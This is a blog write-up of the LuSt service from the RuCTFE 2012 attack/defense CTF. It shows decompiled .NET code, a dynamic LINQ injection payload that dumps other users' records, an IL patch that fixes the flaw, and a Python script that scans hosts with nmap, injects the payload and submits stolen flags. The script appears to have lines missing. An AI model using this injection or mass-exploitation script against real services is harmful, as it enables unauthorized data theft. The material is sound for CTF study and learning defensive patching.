code hacking, zen coding


RuCTFE 2012 CTF – LuST Service Writeup

Posted by aXs

RuCTFE is "classic" (these days it's more like "old-skool") Attack/Defense security game where multiple teams (150) compete to hack each other vulnerable services hosted in a VirtualBox machine provided by the CTF organizers at the beginning of the contest. Read more here about this great CTF and the network setup:

One of these vulnerable service was LuSt, a .NET executable running under Mono on the virtual machine:

root@vulnbox:/home/lust# file LuSt.exe
LuSt.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

LuST is a luggage manager for a mexican (?) airline company. You can deposit your luggage, browse your list of luggage and get the description of a specific luggage.

When you put your first luggage, this will create a cookie in your browser so you can authenticate again later and browse your list of luggage.

Using .NET Reflector we can analyze, disassemble and patch this binary.

Building on, we have 4 listeners: (comments are my own)

public void Start()
    this.putListener.Start();   // Deposit your luggage
    this.listListener.Start();  // Browse your luggages
    this.getListener.Start();   // See description of one luggage
    this.indexListener.Start(); // static files (html and assets)

Let see what happend when you deposit your first luggage:

string signature = Convert.ToBase64String(this.Sign(name)); // computer secure cookie signature
if (this.db.IsKnownName(name) && !this.IsValidAuth(context, name, signature)) // compare signature cookie to computed signature
  AsyncListener.ShowCustomStatus(context.Response, HttpStatusCode.Forbidden, "Failed to authenticate this known user");
else // new user
  Guid id = Guid.NewGuid();
  DbItem <>g__initLocal0 = new DbItem {
    id = id,
    name = name,
    luggage = luggage
  SetCookies(context, name, signature); // send 2 cookies, 1 with name, 1 with signature
  WriteResponse(context, Encoding.UTF8.GetBytes(id.ToString()), "text/plain; charset=utf-8");

The secure signing of the cookie is as follow, tough not really relevant for this exploit:

private byte[] Sign(string dataString)
    byte[] data = Encoding.GetEncoding(0x4e4).GetBytes(dataString); // name
    byte[] buff = new byte[this.signKey.Length + data.Length]; // 32 random bytes generated at startup
    Array.Copy(this.signKey, buff, this.signKey.Length);
    Array.Copy(data, 0, buff, this.signKey.Length, data.Length);
    return MD5.Create().ComputeHash(buff); // signature is md5(secret + name)

We can notice this signing is vulnerable to a hash extension attack because secret part is before the user-controled part, padding can be manipulated to create collisions. But this is not relevant to this exploit (name format is validated by a strict regex before so might be not trivial to achieve)

Let's move to the browse luggage functionality:

If the pattern parameter is empty, you will list all luggages associated with that name:

How does this works code-wise:

string signature = Convert.ToBase64String(this.Sign(name));
if (!this.IsValidAuth(context, name, signature)) // we need the secure signature cookie to authenticate
  AsyncListener.ShowCustomStatus(context.Response, HttpStatusCode.Forbidden, "Failed to authenticate this user");
  string pattern = args["pattern"];
  WriteResponse(context, Encoding.UTF8.GetBytes(string.Join<Guid>(",", this.db.Find(name, pattern))), "text/plain; charset=utf-8");

Seems solid, lets move to the db.Find(name, pattern) function.

public List<Guid> Find(string name, string pattern = "")
    return this.items.Values.AsQueryable<DbItem>().Where<DbItem>(
    string.Format("name = \"{0}\"{1}", name, !string.IsNullOrEmpty(pattern) ?
    string.Format("and luggage.Contains(\"{0}\")", pattern) : ""),
    new object[0]).Select("id", new object[0]).Cast<Guid>().ToList<Guid>();

Interesting. This is an implementation of System.Linq.Queryable, the normal find query will be as this:

name = "bigdaddy" and luggage.Contains("xxx")

But with this format "string.Format("and luggage.Contains(\"{0}\")", pattern)" we can happily insert into the query anything we want so we can have the following query:

URL parameters: name = 'bigdaddy', pattern = '") or ("1"="1'

Resulting query: name = "bigdaddy" and luggage.Contains("") or ("1"="1")

With this we bypass listing only our own luggages and will get a dump of the DB. You can see the valuable flags in the answer.

But, it's all fun and games until you are pwned yourself so how can we patch this vulnerability ?

There is many ways to do this but in this particular scenario, a simple approach is to filter the luggage parameter to keep only alphanumeric character ([^A-Za-z0-9 ])

Using Reflexil we can alter and even add new opcodes to the db.Find() method.

Our new code we will put at the beginning of the db.Find method:

Regex re = new Regex("[^a-zA-Z0-9 ]");
safepattern = re.Replace(pattern, "");

Which mean we need to add these new IL opcodes:

ldstr [^a-zA-Z0-9 ] // push parameter to stack
newobj System.Void System.Text.RegularExpressions.Regex::.ctor(System.String) // create object
stloc.0 // store our new object to local variable 0
ldloc.0  // push it on the stack for virtual call below
ldarg.2  // push 2nd parameter (luggage) to stack
ldstr // push empty string to stack
callvirt System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String)
stloc.1 // store result in local variable 1 (safepattern)

Then in the rest of the IL code, we replace "ldarg.2" by "ldloc.1" to use safepattern instead of pattern. See full IL disassembly:

  Offset  OpCode  Operand
  0 ldarg.0
  1 ldstr [^a-zA-Z0-9 ]
  6 newobj  System.Void System.Text.RegularExpressions.Regex::.ctor(System.String)
  11  stloc.0
  12  ldloc.0
  13  ldarg.2
  14  ldstr
  19  callvirt  System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String)
  24  stloc.1
  25  ldfld System.Collections.Concurrent.ConcurrentDictionary`2<System.Guid,RuCTFE.LuSt.DbItem> RuCTFE.LuSt.DB::items
  30  callvirt  System.Collections.Generic.ICollection`1<!1> System.Collections.Concurrent.ConcurrentDictionary`2<System.Guid,RuCTFE.LuSt.DbItem>::get_Values()
  35  call  System.Linq.IQueryable`1<!!0> System.Linq.Queryable::AsQueryable<RuCTFE.LuSt.DbItem>(System.Collections.Generic.IEnumerable`1<!!0>)
  40  ldstr name = "{0}"{1}
  45  ldarg.1
  46  ldloc.1
  47  call  System.Boolean System.String::IsNullOrEmpty(System.String)
  52  brfalse.s -> (19) ldstr and luggage.Contains("{0}")
  54  ldstr
  59  br.s  -> (22) call System.String System.String::Format(System.String,System.Object,System.Object)
  61  ldstr and luggage.Contains("{0}")
  66  ldloc.1
  67  call  System.String System.String::Format(System.String,System.Object)
  72  call  System.String System.String::Format(System.String,System.Object,System.Object)
  77  ldc.i4.0 
  78  newarr  System.Object
  83  call  System.Linq.IQueryable`1<T> System.Linq.Dynamic.DynamicQueryable::Where<RuCTFE.LuSt.DbItem>(System.Linq.IQueryable`1<T>,System.String,System.Object[])
  88  ldstr id
  93  ldc.i4.0 
  94  newarr  System.Object
  99  call  System.Linq.IQueryable System.Linq.Dynamic.DynamicQueryable::Select(System.Linq.IQueryable,System.String,System.Object[])
  104 call  System.Linq.IQueryable`1<!!0> System.Linq.Queryable::Cast<System.Guid>(System.Linq.IQueryable)
  109 call  System.Collections.Generic.List`1<!!0> System.Linq.Enumerable::ToList<System.Guid>(System.Collections.Generic.IEnumerable`1<!!0>)
  114 ret

Since this is an attack/defense CTF, we need to automate this exploit so we can query all the other team services and steal their flags.

This python script will do this
- iterate over a target list created with
nmap -sS -P0 -oG targets -p 1437 10.23.*.3
cat targets | grep open | cut -d" " -f2 | grep -v "" > hosts
- Do the LINQ SQL injection to get the list of all the luggage GUIDs
- Query the GUID with the get method to get content
- Maintain a cache of already retrieved GUIDs to speed up the process when launching the script again
- Check if this is a probable flag and submit it to the flag validation service
- Sometime send some garbage to the validation service to avoid the connection timing out

import time
import requests
import socket
import sys
import re
import random
import string
import pickle

def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
  return ''.join(random.choice(chars) for x in range(size))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("", 10001))

submit = s.makefile(mode = "rb")

print submit.readline()
print submit.readline()
print submit.readline()
print submit.readline()

targets = open("hosts").readlines()


#history = []
history = pickle.load(open("history","r"))

for target in targets:

  target = target.rstrip()

  name = id_generator(size=32)
  garbage = "saucisse"
  print "target=", target, "name=", name

  flag = 0

    headers = {'X-Requested-With' : 'XMLHttpRequest'}
    print "Put!"
    resp = requests.get("http://" + target + ":1437/put?name=" + name + "&luggage=" + garbage, timeout = 3, headers = headers)
    cookies = resp.cookies
    cookies['name'] = cookies['name'][:-1]
    print "List!"

    getsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    getsocket.connect((target, 1437))
    getsocket.send('GET /list?pattern="%29+or+%28"1"+%3D+"1&name=' + name + ' HTTP/1.0' + "\n")
    getsocket.send("Host: " + target + ":1437\n")
    getsocket.send("Cookie: name=" + cookies['name'] + "; signature=" + cookies['signature'] + "\n\n")
    data = getsocket.recv(1024)
    txt = ""
    while len(data):
      txt = txt + data
      data = getsocket.recv(1024)

    i = 0
    for line in txt.split(','):
      if len(line) != 36:
      if line in history:
        print "Duplicated=", line
      print "Get=", line
      params = {'Id' : line}
      resp = requests.get("http://" + target + ":1437/get", timeout = 3, cookies = cookies, params = params)
      txt = resp.text
      print "Id=", txt
      flag = txt[56:56+32]
      if len(flag) == 32 and flag[31] == '=':
        print "flag=", flag
        submit.write(flag + "\n")
        print submit.readline()
        flag = 1
      if i % 8 == 0:
        print submit.readline()
      i = i + 1


  pickle.dump(history, open("history", "wb"))

  if flag == 0:
    print submit.readline()

We had to use a raw socket for the /list part because we had a very weird bug with Python Requests not processing the answer and just sitting idle.

$ python
target= name= 6ZMO16R46FZ5Y2STKYL6F7S7EGQY9CLY
Get= 7f2b10e7-d7db-42ed-9c49-56cecc58a204
Id= {"id":"7f2b10e7-d7db-42ed-9c49-56cecc58a204","luggage":"dab43241fda2368b1f729d42134524=","name":"Lassmiranda Densiwillja 23273"}